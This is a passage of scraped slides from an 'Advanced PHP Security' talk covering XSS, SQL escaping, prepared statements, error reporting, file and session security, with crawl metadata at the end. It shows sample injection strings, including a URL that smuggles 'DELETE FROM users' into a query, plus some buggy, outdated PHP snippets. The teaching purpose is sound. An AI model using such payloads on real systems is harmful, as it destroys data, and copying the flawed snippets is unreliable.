500px"> TAKE UP ENTIRE SCREEN </b> <u onmouseover="alert('JavaScript is allowed');"> <b style="font - size: 500px">Lot's of text</b> </u> <p style="background: url(http://tracker.com/image.gif)"> Let's track users </p> 25 Security SQL Injection SQL injection is similar to XSS, in the fact that not validated data is being used. But in this case this data is passed to the database. Arbitrary query execution Removal of data. Modification of existing values. Denial of service. Arbitrary data injection. 26 Security SQL Escaping If database interface extension offers dedicated escaping functions, USE THEM! MySQL mysql_escape_string() mysql_real_escape_string() PostgreSQL pg_escape_string() pg_escape_bytea() SQLite sqlite_escape_string() 27 Security SQL Escaping in Practice // undo magic_quotes_gpc to avoid double escaping if (get_magic_quotes_gpc()) { $_GET['name'] = stripslashes($_GET['name']; $_POST['binary'] = stripslashes($_GET['binary']); } $name = pg_escape_string($_GET['name']); $binary = pg_escape_bytea($_POST['binary']); pg_query($db, "INSERT INTO tbl (name,image) VALUES('{$name}', '{$image}')"); 28 Security Escaping Shortfall When un - quoted integers are passed to SQL queries, escaping functions won’t save you, since there are no special chars to escape. http://example.com/db.php?id=0;DELETE%20FROM%20users <?php $id = sqlite_escape_string($_GET['id']); // $id is still 0;DELETE FROM users sqlite_query($db, "SELECT * FROM users WHERE id={$id}"); // Bye Bye user data... ?> 29 Security Prepared Statements Prepared statements are a mechanism to secure and optimize execution of repeated queries. Works by making SQL “compile” the query and then substitute in the changing values for each execution. Increased performance, 1 compile vs 1 per query. Better security, data is “type set” will never be evaluated as separate query. Supported by most database systems. MySQL users will need to use version 4.1 or higher. SQLite extension does not support this either. 30 Security Prepared Statements <?php $data = "Here is some text to index"; pg_query($db, "PREPARE my_stmt (text) AS INSERT INTO search_idx (word) VALUES($1)"); foreach (explode(" ", $data) as $word) { // no is escaping needed pg_query($db, "EXECUTE my_stmt({$word})"); } // de - allocte the prepared statement pg_query($sb, "DEALLOCATE my_stmt"); ?> Unless explicitly removed, prepared statements “stay alive” between persistent connections. 31 Security Error Reporting By default PHP will print all errors to screen, startling your users and in some cases disclosing privileged information. File paths. Un - initialized variables. Sensitive function arguments such as passwords. At the same time, disabling error reporting would make bug tracking near impossible. 32 Security Solution? This problem can be solved by disabling displaying of error messages to screen ini_set(“display_errors”, FALSE); And enabling logging of errors ini_set(“log_errors”, TRUE); to a file ini_set(“error_log”, “/var/log/php.log”); or to system central error tracking facility ini_set(“error_log”, “syslog”); 33 Security File Security Many PHP applications often require various utility and configuration files to operate. Because those files are used within the application, they end up being world - readable. This means that if those files are in web directories, users could download & view their contents. 34 Security Securing Your Files Do not place files in web root that do not have to be there. If nothing is being output by the file, give it a .php extension. Use .htaccess to block access to files/directories <Files ~ " \ .tpl$"> Order allow,deny Deny from all </Files> 35 Security Securing Configuration Files Configuration scripts, usually contain sensitive data that should be kept private. Just denying web access, still leaves is readable to all users on the system. Ideally configuration files would only be readable by the owner. 36 Security Solution #1 If the configuration file only stores database connection settings, you can set them via ini directives that will then be loaded by httpd.conf via Include directive. mysql.cnf mysql.default_host=localhost mysql.default_user=forum mysql.default_password=secret httpd.conf <VirtualHost 1.2.3.4> Include “/site_12/mysql.cnf” </VirtualHost> Apache parses configuration files as “root”, so your SQL settings file can have restricted permissions (0600) and still work. 37 Security Solution #2 For all other settings, Apache environment variables can be used to “hide” data. misc_config.cnf SetEnv NNTP_LOGIN "login" SetEnv NNTP_PASS "passwd" SetEnv NNTP_SERVER "1.2.3.4” httpd.conf <VirtualHost 1.2.3.4> Include “ misc_config.cnf </VirtualHost> echo $_SERVER[‘ NNTP_LOGIN’]; // login echo $_SERVER[‘ NNTP_PASS’]; // passwd echo $_SERVER[‘ NNTP_SERVER’]; // 1.2.3.4 38 Security Session Security Sessions are a common tool for user tracking across a web site. For the duration of a visit, the session is effectively the user’s identity. If an active session can be obtained by 3 rd party, it can assume the identify of the user who’s session was compromised. 39 Security Securing Session ID To prevent session id theft, the id can be altered on every request, invalidating old values. <?php session_start(); if (!empty($_SESSION)) { // not a new session session_regenerate_id(TRUE); // make new session id } ?> Because the session changes on every request, the “back” button in a browser will no longer work, as it will make a request with the old session id. 40 Security Session Validation Another session security technique is to compare the browser signature headers. session_start(); $chk = @md5( $_SERVER['HTTP_ACCEPT_CHARSET'] . $_SERVER['HTTP_ACCEPT_ENCODING'] . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . $_SERVER['HTTP_USER_AGENT']); if (empty($_SESSION)) $_SESSION['key'] = $chk; else if ($_SESSION['key'] != $chk) session_destroy(); 41 Security Safer Session Storage By default PHP sessions are stored as files inside the common /tmp directory. This often means any user on the system could see active sessions and “acquire” them or even modify their content. Solutions? Separate session storage directory via session.save_path Database storage mechanism, mysql, pgsql, oci, sqlite. Shared memory “mm” session storage. Custom session handler allowing data storage anywhere. 42 Security Shared Hosting Most PHP applications run in shared environments where all users “share” the same web server instances. This means that all files that are involved in serving content must be accessible to the web server (world readable). Consequently it means that any user could read the content of files of all other users. 43 Security The PHP Solution PHP’s solution to this problem are 2 INI directives. open_basedir limits file access to one or more specified directories. Relatively Efficient. Uncomplicated. safe_mode limits file access based on uid/gid of running script and file to be accessed. Slow and complex approach. Can be bypassed with little effort. 44 Security Security Through Obscurity While by itself is not a good approach to security, as an addition to existing measures, obscurity can be a powerful tool. Disable PHP identification header expose_php=off Disable Apache identification header ServerSignature=off Avoid obvious names for restricted control panels. 45 Security <?php include “/book/plug.inc”; ?> 46 Security Questions
{ "url": "https://www.techylib.com/en/view/righteousgaggle/powerpoint_advanced_php_security_ilia_alshanetsky", "source_domain": "www.techylib.com", "snapshot_id": "crawl=CC-MAIN-2017-22", "warc_metadata": { "Content-Length": "59750", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:6RJM4JYNPEVO77EFGRQ3BPOUS55EAGOD", "WARC-Concurrent-To": "<urn:uuid:1cab896e-74de-4036-a2af-c1f33269cef7>", "WARC-Date": "2017-05-29T04:20:43Z", "WARC-IP-Address": "54.243.162.245", "WARC-Identified-Payload-Type": "application/xhtml+xml", "WARC-Payload-Digest": "sha1:XSAXVSDPMXKQQEFSQKZLLSWHQWTBSRT3", "WARC-Record-ID": "<urn:uuid:943b1b27-6e37-4fd4-b6d7-3876eb2f7d81>", "WARC-Target-URI": "https://www.techylib.com/en/view/righteousgaggle/powerpoint_advanced_php_security_ilia_alshanetsky", "WARC-Truncated": "length", "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:b70f6c85-8d21-4f1c-9858-af4a8cc73ce0>" }, "warc_info": "robots: classic\r\nhostname: ip-10-185-224-210.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-22\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for May 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 54, 55, 86, 87, 127, 128, 138, 139, 152, 161, 162, 183, 184, 186, 187, 196, 197, 215, 216, 217, 266, 267, 268, 317, 348, 349, 350, 406, 459, 487, 488, 489, 538, 580, 626, 627, 629, 630, 639, 640, 655, 656, 657, 700, 747, 748, 749, 750, 751, 794, 823, 824, 825, 875, 876, 877, 924, 925, 927, 928, 937, 938, 955, 956, 957, 1005, 1053, 1054, 1055, 1111, 1112, 1113, 1134, 1136, 1153, 1154, 1155, 1201, 1202, 1203, 1263, 1280, 1281, 1282, 1334, 1361, 1362, 1364, 1365, 1374, 1375, 1396, 1397, 1398, 1441, 1443, 1456, 1500, 1501, 1502, 1508, 1509, 1510, 1534, 1535, 1536, 1543, 1544, 1545, 1564, 1565, 1566, 1575, 1576, 1577, 1597, 1598, 1599, 1607, 1608, 1609, 1629, 1630, 1631, 1640, 1641, 1642, 1654, 1655, 1656, 1662, 1663, 1664, 1686, 1687, 1688, 1698, 1699, 1700, 1731, 1732, 1734, 1735, 1744, 1745, 1762, 1763, 1764, 1799, 1836, 1837, 1838, 1888, 1889, 1890, 1916, 1917, 1918, 1956, 1957, 1958, 2017, 2018, 2019, 2022, 2024, 2073, 2081, 2082, 2084, 2085, 2094, 2095, 2112, 2113, 2141, 2142, 2143, 2163, 2164, 2166, 2167, 2186, 2187, 2188, 2226, 2227, 2229, 2230, 2231, 2239, 2251, 2252, 2263, 2265, 2285, 2343, 2385, 2386, 2387, 2430, 2431, 2433, 2434, 2443, 2444, 2474, 2475, 2476, 2484, 2501, 2502, 2514, 2515, 2516, 2556, 2557, 2558, 2568, 2584, 2585, 2592, 2598, 2600, 2601, 2602, 2646, 2649, 2651, 2674, 2675, 2676, 2714, 2715, 2716, 2765, 2818, 2819, 2847, 2848, 2850, 2851, 2860, 2861, 2894, 2895, 2922, 2923, 2924, 2977, 2978, 2994, 2999, 3000, 3030, 3031, 3067, 3068, 3084, 3085, 3112, 3113, 3114, 3134, 3135, 3137, 3138, 3141, 3142, 3151, 3152, 3162, 3163, 3164, 3168, 3178, 3179, 3185, 3187, 3211, 3241, 3258, 3259, 3262, 3297, 3298, 3330, 3331, 3332, 3333, 3351, 3352, 3357, 3358, 3379, 3380, 3385, 3386, 3408, 3409, 3414, 3415, 3418, 3419, 3428, 3429, 3438, 3439, 3440, 3471, 3473, 3483, 3527, 3529, 3562, 3563, 3564, 3597, 3598, 3617, 3618, 3619, 3668, 3669, 3706, 3707, 3708, 3721, 3722, 3775, 3776, 3779, 3780, 3789, 3790, 3815, 3816, 3817, 3863, 3915, 3966, 3967, 3989, 3990, 4017, 4018, 4019, 4044, 4045, 4052, 4053, 4054, 4063, 4064, 4100, 4101, 4131, 4132, 4133, 4166, 4167, 4174, 4175, 4176, 4188, 4189, 4190, 4214, 4236, 4259, 4280, 4288, 4289, 4292, 4293, 4302, 4303, 4322, 4323, 4324, 4341, 4347, 4378, 4425, 4426, 4462, 4463, 4464, 4477, 4479, 4482, 4484, 4487, 4489, 4506, 4507, 4509, 4510, 4548, 4549, 4550, 4563, 4565, 4568, 4570, 4587, 4588, 4590, 4591, 4628, 4629, 4630, 4674, 4675, 4677, 4678, 4681, 4682, 4691, 4692, 4708, 4709, 4710, 4762, 4820, 4854, 4855, 4907, 4908, 4909, 4915, 4916, 4963, 4964, 4967, 4968, 4971, 4972, 4981, 4982, 4998, 4999, 5000, 5015, 5026, 5027, 5046, 5098, 5147, 5148, 5154, 5155, 5196, 5197, 5198, 5232, 5233, 5281, 5282, 5283, 5330, 5331, 5333, 5334, 5337, 5338, 5341, 5342, 5351, 5352, 5375, 5376, 5377, 5432, 5472, 5474, 5482, 5501, 5502, 5516, 5518, 5536, 5537, 5554, 5555, 5597, 5598, 5599, 5620, 5621, 5623, 5624, 5657, 5658, 5659, 5699, 5700, 5701, 5748, 5749, 5752, 5753, 5762, 5763, 5780, 5781, 5782, 5824, 5870, 5891, 5897, 5899, 5901, 5903, 5912, 5913, 5915, 5916, 5917, 5946, 5947, 5948, 5993, 5994, 5995, 6038, 6039, 6040, 6069, 6070, 6071, 6111, 6112, 6113, 6131, 6132, 6133, 6172, 6173, 6176, 6177, 6186, 6187, 6214, 6215, 6245, 6277, 6278, 6279, 6310, 6311, 6312, 6331, 6332, 6333, 6367, 6368, 6369, 6374, 6375, 6376, 6403, 6404, 6405, 6407, 6408, 6409, 6410, 6411, 6412, 6426, 6427, 6428, 6473, 6474, 6475, 6498, 6499, 6500, 6539, 6540, 6541, 6542, 6543, 6599, 6600, 6601, 6622, 6623, 6624, 6656, 6657, 6658, 6706, 6707, 6709, 6710, 6713, 6714, 6723, 6724, 6758, 6759, 6760, 6807, 6855, 6876, 6877, 6883, 6884, 6915, 6916, 6963, 6964, 6989, 6990, 6991, 7039, 7045, 7046, 7049, 7050, 7053, 7054, 7063, 7064, 7096, 7097, 7127, 7128, 7129, 7170, 7171, 7172, 7206, 7207, 7208, 7239, 7240, 7241, 7264, 7265, 7266, 7302, 7303, 7304, 7314, 7315, 7316, 7318, 7319, 7320, 7344, 7345, 7346, 7348, 7349, 7350, 7352, 7353, 7354, 7366, 7367, 7369, 7370, 7373, 7374, 7383, 7384, 7388, 7389, 7390, 7441, 7483, 7533, 7534, 7535, 7562, 7563, 7564, 7577, 7579, 7585, 7586, 7587, 7603, 7604, 7605, 7624, 7627, 7628, 7637, 7638, 7641, 7642, 7651, 7652, 7667, 7668, 7669, 7719, 7750, 7751, 7752, 7771, 7772, 7773, 7795, 7796, 7797, 7812, 7813, 7814, 7862, 7863, 7864, 7877, 7878, 7879, 7920, 7921, 7924, 7925, 7934, 7935, 7950, 7951, 7989, 7990, 8028, 8029, 8056, 8057, 8109, 8110, 8128, 8129, 8130, 8179, 8180, 8181, 8235, 8236, 8263, 8264, 8282, 8283, 8284, 8302, 8315, 8316, 8331, 8388, 8400, 8401, 8404, 8405, 8414, 8415, 8438, 8439, 8454, 8456, 8470, 8471, 8493, 8494, 8499, 8500, 8501, 8551, 8552, 8567, 8569, 8600, 8601, 8606, 8607, 8608, 8630, 8666, 8667, 8685, 8686, 8691, 8692, 8695, 8696, 8705, 8706, 8720, 8721, 8722, 8772, 8823, 8860, 8861, 8862, 8888, 8889, 8890, 8907, 8908, 8909, 8942, 8943, 8944, 8963, 8964, 8965, 8991, 8992, 8995, 8996, 9005, 9006, 9019, 9020, 9021, 9070, 9100, 9101, 9102, 9108, 9109, 9110, 9132, 9133, 9134, 9161, 9162, 9163, 9174, 9175, 9176, 9195, 9196, 9197, 9215, 9216, 9217, 9224, 9225, 9226, 9249, 9250, 9253, 9254, 9263, 9264, 9289, 9290, 9340, 9341, 9371, 9372, 9373, 9417, 9418, 9419, 9469, 9470, 9472, 9473, 9474, 9475, 9516, 9517, 9562, 9563, 9564, 9565, 9609, 9610, 9611, 9612, 9613, 9646, 9647, 9648, 9651, 9652, 9661, 9662, 9681, 9682, 9683, 9691, 9693, 9736, 9790, 9815, 9816, 9869, 9870, 9876, 9877, 9918, 9919, 9955, 9956, 9957, 9958, 9976, 9977, 9978, 9979, 10018, 10019, 10043, 10044, 10047, 10048, 10051, 10052, 10061, 10062, 10082, 10083, 10084, 10134, 10174, 10175, 10176, 10225, 10279, 10280, 10281, 10330, 10331, 10332, 10395, 10411, 10412, 10413, 10449, 10450, 10451, 10503, 10504, 10505, 10552, 10553, 10556, 10557, 10566, 10567, 10587, 10588, 10594, 10595, 10633, 10634, 10635, 10676, 10677, 10678, 10679, 10680, 10724, 10725, 10766, 10767, 10768, 10793, 10794, 10795, 10838, 10839, 10841, 10842, 10843, 10844, 10850, 10852, 10883, 10884, 10921, 10922, 10925, 10926, 10927, 10987, 11019, 11020, 11023, 11024, 11033, 11034, 11050, 11051, 11052, 11100, 11150, 11174, 11175, 11176, 11188, 11189, 11190, 11193, 11195, 11218, 11219, 11220, 11268, 11269, 11270, 11314, 11355, 11356, 11359, 11360, 11369, 11370, 11380, 11381, 11382, 11422, 11461, 11462, 11496, 11497, 11498, 11529, 11530, 11559, 11560, 11561, 11571, 11572, 11614, 11615, 11616, 11661, 11662, 11694, 11695, 11698, 11699, 11708, 11709, 11723, 11724, 11725, 11769, 11813, 11814, 11815, 11816, 11856, 11893, 11895, 11905, 11906, 11907, 11908, 11950, 11997, 12007, 12008, 12011, 12012, 12021, 12022, 12042, 12043, 12044, 12092, 12105, 12106, 12107, 12157, 12173, 12174, 12175, 12226, 12227, 12238, 12240, 12248, 12249, 12266, 12267, 12281, 12282, 12291, 12292, 12295, 12296, 12305, 12306, 12335, 12336, 12337, 12386, 12420, 12421, 12422, 12423, 12473, 12501, 12502, 12503, 12557, 12568, 12569, 12572, 12573, 12582, 12583, 12595, 12596, 12597, 12655, 12711, 12744, 12752, 12753, 12764, 12765, 12775, 12776, 12777, 12806, 12807, 12832, 12833, 12863, 12864, 12875, 12876, 12877, 12899, 12900, 12929, 12930, 12945, 12946, 12947, 13000, 13057, 13073, 13074, 13077, 13078, 13087, 13088, 13100, 13101, 13102, 13155, 13183, 13184, 13200, 13201, 13202, 13228, 13229, 13255, 13256, 13285, 13286, 13297, 13298, 13299, 13321, 13322, 13332, 13348, 13349, 13350, 13365, 13366, 13367, 13383, 13397, 13406, 13407, 13423, 13436, 13446, 13447, 13463, 13478, 13489, 13490, 13493, 13494, 13503, 13504, 13521, 13522, 13523, 13568, 13587, 13588, 13589, 13590, 13634, 13667, 13668, 13669, 13670, 13712, 13715, 13716, 13723, 13768, 13793, 13794, 13797, 13798, 13807, 13808, 13828, 13829, 13830, 13884, 13924, 13925, 13931, 13932, 13949, 13950, 13975, 13996, 13997, 13998, 14027, 14050, 14051, 14053, 14054, 14057, 14058, 14059, 14123, 14188, 14208, 14209, 14212, 14213, 14222, 14223, 14242, 14243, 14244, 14297, 14324, 14325, 14342, 14343, 14356, 14357, 14358, 14392, 14393, 14394, 14429, 14430, 14431, 14466, 14467, 14468, 14498, 14499, 14500, 14522, 14523, 14524, 14549, 14550, 14585, 14586, 14587, 14606, 14607, 14610, 14611, 14620, 14621, 14643, 14644, 14645, 14707, 14712, 14713, 14724, 14725, 14726, 14783, 14841, 14842, 14843, 14854, 14855, 14856, 14895, 14913, 14914, 14915, 14970, 14971, 14972, 15008, 15009, 15010, 15065, 15066, 15069, 15070, 15079, 15080, 15095, 15096, 15097, 15133, 15179, 15201, 15202, 15203, 15250, 15296, 15321, 15322, 15323, 15370, 15411, 15412, 15415, 15416, 15425, 15426, 15443, 15444, 15445, 15486, 15498, 15499, 15500, 15513, 15514, 15515, 15516, 15550, 15573, 15574, 15575, 15597, 15598, 15599, 15614, 15615, 15616, 15626, 15627, 15628, 15629, 15668, 15708, 15709, 15710, 15737, 15738, 15739, 15775, 15776, 15779, 15780, 15789, 15790, 15817, 15818, 15819, 15861, 15908, 15942, 15943, 15944, 15978, 15979, 15994, 15995, 15996, 16033, 16034, 16054, 16055, 16056, 16107, 16108, 16111, 16112, 16121, 16122, 16157, 16158, 16161, 16162, 16171, 16172 ], "line_end_idx": [ 54, 55, 86, 87, 127, 128, 138, 139, 152, 161, 162, 183, 184, 186, 187, 196, 197, 215, 216, 217, 266, 267, 268, 317, 348, 349, 350, 406, 459, 487, 488, 489, 538, 580, 626, 627, 629, 630, 639, 640, 655, 656, 657, 700, 747, 748, 749, 750, 751, 794, 823, 824, 825, 875, 876, 877, 924, 925, 927, 928, 937, 938, 955, 956, 957, 1005, 1053, 1054, 1055, 1111, 1112, 1113, 1134, 1136, 1153, 1154, 1155, 1201, 1202, 1203, 1263, 1280, 1281, 1282, 1334, 1361, 1362, 1364, 1365, 1374, 1375, 1396, 1397, 1398, 1441, 1443, 1456, 1500, 1501, 1502, 1508, 1509, 1510, 1534, 1535, 1536, 1543, 1544, 1545, 1564, 1565, 1566, 1575, 1576, 1577, 1597, 1598, 1599, 1607, 1608, 1609, 1629, 1630, 1631, 1640, 1641, 1642, 1654, 1655, 1656, 1662, 1663, 1664, 1686, 1687, 1688, 1698, 1699, 1700, 1731, 1732, 1734, 1735, 1744, 1745, 1762, 1763, 1764, 1799, 1836, 1837, 1838, 1888, 1889, 1890, 1916, 1917, 1918, 1956, 1957, 1958, 2017, 2018, 2019, 2022, 2024, 2073, 2081, 2082, 2084, 2085, 2094, 2095, 2112, 2113, 2141, 2142, 2143, 2163, 2164, 2166, 2167, 2186, 2187, 2188, 2226, 2227, 2229, 2230, 2231, 2239, 2251, 2252, 2263, 2265, 2285, 2343, 2385, 2386, 2387, 2430, 2431, 2433, 2434, 2443, 2444, 2474, 2475, 2476, 2484, 2501, 2502, 2514, 2515, 2516, 2556, 2557, 2558, 2568, 2584, 2585, 2592, 2598, 2600, 2601, 2602, 2646, 2649, 2651, 2674, 2675, 2676, 2714, 2715, 2716, 2765, 2818, 2819, 2847, 2848, 2850, 2851, 2860, 2861, 2894, 2895, 2922, 2923, 2924, 2977, 2978, 2994, 2999, 3000, 3030, 3031, 3067, 3068, 3084, 3085, 3112, 3113, 3114, 3134, 3135, 3137, 3138, 3141, 3142, 3151, 3152, 3162, 3163, 3164, 3168, 3178, 3179, 3185, 3187, 3211, 3241, 3258, 3259, 3262, 3297, 3298, 3330, 3331, 3332, 3333, 3351, 3352, 3357, 3358, 3379, 3380, 3385, 3386, 3408, 3409, 3414, 3415, 3418, 3419, 3428, 3429, 3438, 3439, 3440, 3471, 3473, 3483, 3527, 3529, 3562, 3563, 3564, 3597, 3598, 3617, 3618, 3619, 3668, 3669, 3706, 3707, 3708, 3721, 3722, 3775, 3776, 3779, 3780, 3789, 3790, 3815, 3816, 3817, 3863, 3915, 3966, 3967, 3989, 3990, 4017, 4018, 4019, 4044, 4045, 4052, 4053, 4054, 4063, 4064, 4100, 4101, 4131, 4132, 4133, 4166, 4167, 4174, 4175, 4176, 4188, 4189, 4190, 4214, 4236, 4259, 4280, 4288, 4289, 4292, 4293, 4302, 4303, 4322, 4323, 4324, 4341, 4347, 4378, 4425, 4426, 4462, 4463, 4464, 4477, 4479, 4482, 4484, 4487, 4489, 4506, 4507, 4509, 4510, 4548, 4549, 4550, 4563, 4565, 4568, 4570, 4587, 4588, 4590, 4591, 4628, 4629, 4630, 4674, 4675, 4677, 4678, 4681, 4682, 4691, 4692, 4708, 4709, 4710, 4762, 4820, 4854, 4855, 4907, 4908, 4909, 4915, 4916, 4963, 4964, 4967, 4968, 4971, 4972, 4981, 4982, 4998, 4999, 5000, 5015, 5026, 5027, 5046, 5098, 5147, 5148, 5154, 5155, 5196, 5197, 5198, 5232, 5233, 5281, 5282, 5283, 5330, 5331, 5333, 5334, 5337, 5338, 5341, 5342, 5351, 5352, 5375, 5376, 5377, 5432, 5472, 5474, 5482, 5501, 5502, 5516, 5518, 5536, 5537, 5554, 5555, 5597, 5598, 5599, 5620, 5621, 5623, 5624, 5657, 5658, 5659, 5699, 5700, 5701, 5748, 5749, 5752, 5753, 5762, 5763, 5780, 5781, 5782, 5824, 5870, 5891, 5897, 5899, 5901, 5903, 5912, 5913, 5915, 5916, 5917, 5946, 5947, 5948, 5993, 5994, 5995, 6038, 6039, 6040, 6069, 6070, 6071, 6111, 6112, 6113, 6131, 6132, 6133, 6172, 6173, 6176, 6177, 6186, 6187, 6214, 6215, 6245, 6277, 6278, 6279, 6310, 6311, 6312, 6331, 6332, 6333, 6367, 6368, 6369, 6374, 6375, 6376, 6403, 6404, 6405, 6407, 6408, 6409, 6410, 6411, 6412, 6426, 6427, 6428, 6473, 6474, 6475, 6498, 6499, 6500, 6539, 6540, 6541, 6542, 6543, 6599, 6600, 6601, 6622, 6623, 6624, 6656, 6657, 6658, 6706, 6707, 6709, 6710, 6713, 6714, 6723, 6724, 6758, 6759, 6760, 6807, 6855, 6876, 6877, 6883, 6884, 6915, 6916, 6963, 6964, 6989, 6990, 6991, 7039, 7045, 7046, 7049, 7050, 7053, 7054, 7063, 7064, 7096, 7097, 7127, 7128, 7129, 7170, 7171, 7172, 7206, 7207, 7208, 7239, 7240, 7241, 7264, 7265, 7266, 7302, 7303, 7304, 7314, 7315, 7316, 7318, 7319, 7320, 7344, 7345, 7346, 7348, 7349, 7350, 7352, 7353, 7354, 7366, 7367, 7369, 7370, 7373, 7374, 7383, 7384, 7388, 7389, 7390, 7441, 7483, 7533, 7534, 7535, 7562, 7563, 7564, 7577, 7579, 7585, 7586, 7587, 7603, 7604, 7605, 7624, 7627, 7628, 7637, 7638, 7641, 7642, 7651, 7652, 7667, 7668, 7669, 7719, 7750, 7751, 7752, 7771, 7772, 7773, 7795, 7796, 7797, 7812, 7813, 7814, 7862, 7863, 7864, 7877, 7878, 7879, 7920, 7921, 7924, 7925, 7934, 7935, 7950, 7951, 7989, 7990, 8028, 8029, 8056, 8057, 8109, 8110, 8128, 8129, 8130, 8179, 8180, 8181, 8235, 8236, 8263, 8264, 8282, 8283, 8284, 8302, 8315, 8316, 8331, 8388, 8400, 8401, 8404, 8405, 8414, 8415, 8438, 8439, 8454, 8456, 8470, 8471, 8493, 8494, 8499, 8500, 8501, 8551, 8552, 8567, 8569, 8600, 8601, 8606, 8607, 8608, 8630, 8666, 8667, 8685, 8686, 8691, 8692, 8695, 8696, 8705, 8706, 8720, 8721, 8722, 8772, 8823, 8860, 8861, 8862, 8888, 8889, 8890, 8907, 8908, 8909, 8942, 8943, 8944, 8963, 8964, 8965, 8991, 8992, 8995, 8996, 9005, 9006, 9019, 9020, 9021, 9070, 9100, 9101, 9102, 9108, 9109, 9110, 9132, 9133, 9134, 9161, 9162, 9163, 9174, 9175, 9176, 9195, 9196, 9197, 9215, 9216, 9217, 9224, 9225, 9226, 9249, 9250, 9253, 9254, 9263, 9264, 9289, 9290, 9340, 9341, 9371, 9372, 9373, 9417, 9418, 9419, 9469, 9470, 9472, 9473, 9474, 9475, 9516, 9517, 9562, 9563, 9564, 9565, 9609, 9610, 9611, 9612, 9613, 9646, 9647, 9648, 9651, 9652, 9661, 9662, 9681, 9682, 9683, 9691, 9693, 9736, 9790, 9815, 9816, 9869, 9870, 9876, 9877, 9918, 9919, 9955, 9956, 9957, 9958, 9976, 9977, 9978, 9979, 10018, 10019, 10043, 10044, 10047, 10048, 10051, 10052, 10061, 10062, 10082, 10083, 10084, 10134, 10174, 10175, 10176, 10225, 10279, 10280, 10281, 10330, 10331, 10332, 10395, 10411, 10412, 10413, 10449, 10450, 10451, 10503, 10504, 10505, 10552, 10553, 10556, 10557, 10566, 10567, 10587, 10588, 10594, 10595, 10633, 10634, 10635, 10676, 10677, 10678, 10679, 10680, 10724, 10725, 10766, 10767, 10768, 10793, 10794, 10795, 10838, 10839, 10841, 10842, 10843, 10844, 10850, 10852, 10883, 10884, 10921, 10922, 10925, 10926, 10927, 10987, 11019, 11020, 11023, 11024, 11033, 11034, 11050, 11051, 11052, 11100, 11150, 11174, 11175, 11176, 11188, 11189, 11190, 11193, 11195, 11218, 11219, 11220, 11268, 11269, 11270, 11314, 11355, 11356, 11359, 11360, 11369, 11370, 11380, 11381, 11382, 11422, 11461, 11462, 11496, 11497, 11498, 11529, 11530, 11559, 11560, 11561, 11571, 11572, 11614, 11615, 11616, 11661, 11662, 11694, 11695, 11698, 11699, 11708, 11709, 11723, 11724, 11725, 11769, 11813, 11814, 11815, 11816, 11856, 11893, 11895, 11905, 11906, 11907, 11908, 11950, 11997, 12007, 12008, 12011, 12012, 12021, 12022, 12042, 12043, 12044, 12092, 12105, 12106, 12107, 12157, 12173, 12174, 12175, 12226, 12227, 12238, 12240, 12248, 12249, 12266, 12267, 12281, 12282, 12291, 12292, 12295, 12296, 12305, 12306, 12335, 12336, 12337, 12386, 12420, 12421, 12422, 12423, 12473, 12501, 12502, 12503, 12557, 12568, 12569, 12572, 12573, 12582, 12583, 12595, 12596, 12597, 12655, 12711, 12744, 12752, 12753, 12764, 12765, 12775, 12776, 12777, 12806, 12807, 12832, 12833, 12863, 12864, 12875, 12876, 12877, 12899, 12900, 12929, 12930, 12945, 12946, 12947, 13000, 13057, 13073, 13074, 13077, 13078, 13087, 13088, 13100, 13101, 13102, 13155, 13183, 13184, 13200, 13201, 13202, 13228, 13229, 13255, 13256, 13285, 13286, 13297, 13298, 13299, 13321, 13322, 13332, 13348, 13349, 13350, 13365, 13366, 13367, 13383, 13397, 13406, 13407, 13423, 13436, 13446, 13447, 13463, 13478, 13489, 13490, 13493, 13494, 13503, 13504, 13521, 13522, 13523, 13568, 13587, 13588, 13589, 13590, 13634, 13667, 13668, 13669, 13670, 13712, 13715, 13716, 13723, 13768, 13793, 13794, 13797, 13798, 13807, 13808, 13828, 13829, 13830, 13884, 13924, 13925, 13931, 13932, 13949, 13950, 13975, 13996, 13997, 13998, 14027, 14050, 14051, 14053, 14054, 14057, 14058, 14059, 14123, 14188, 14208, 14209, 14212, 14213, 14222, 14223, 14242, 14243, 14244, 14297, 14324, 14325, 14342, 14343, 14356, 14357, 14358, 14392, 14393, 14394, 14429, 14430, 14431, 14466, 14467, 14468, 14498, 14499, 14500, 14522, 14523, 14524, 14549, 14550, 14585, 14586, 14587, 14606, 14607, 14610, 14611, 14620, 14621, 14643, 14644, 14645, 14707, 14712, 14713, 14724, 14725, 14726, 14783, 14841, 14842, 14843, 14854, 14855, 14856, 14895, 14913, 14914, 14915, 14970, 14971, 14972, 15008, 15009, 15010, 15065, 15066, 15069, 15070, 15079, 15080, 15095, 15096, 15097, 15133, 15179, 15201, 15202, 15203, 15250, 15296, 15321, 15322, 15323, 15370, 15411, 15412, 15415, 15416, 15425, 15426, 15443, 15444, 15445, 15486, 15498, 15499, 15500, 15513, 15514, 15515, 15516, 15550, 15573, 15574, 15575, 15597, 15598, 15599, 15614, 15615, 15616, 15626, 15627, 15628, 15629, 15668, 15708, 15709, 15710, 15737, 15738, 15739, 15775, 15776, 15779, 15780, 15789, 15790, 15817, 15818, 15819, 15861, 15908, 15942, 15943, 15944, 15978, 15979, 15994, 15995, 15996, 16033, 16034, 16054, 16055, 16056, 16107, 16108, 16111, 16112, 16121, 16122, 16157, 16158, 16161, 16162, 16171, 16172, 16181 ] }
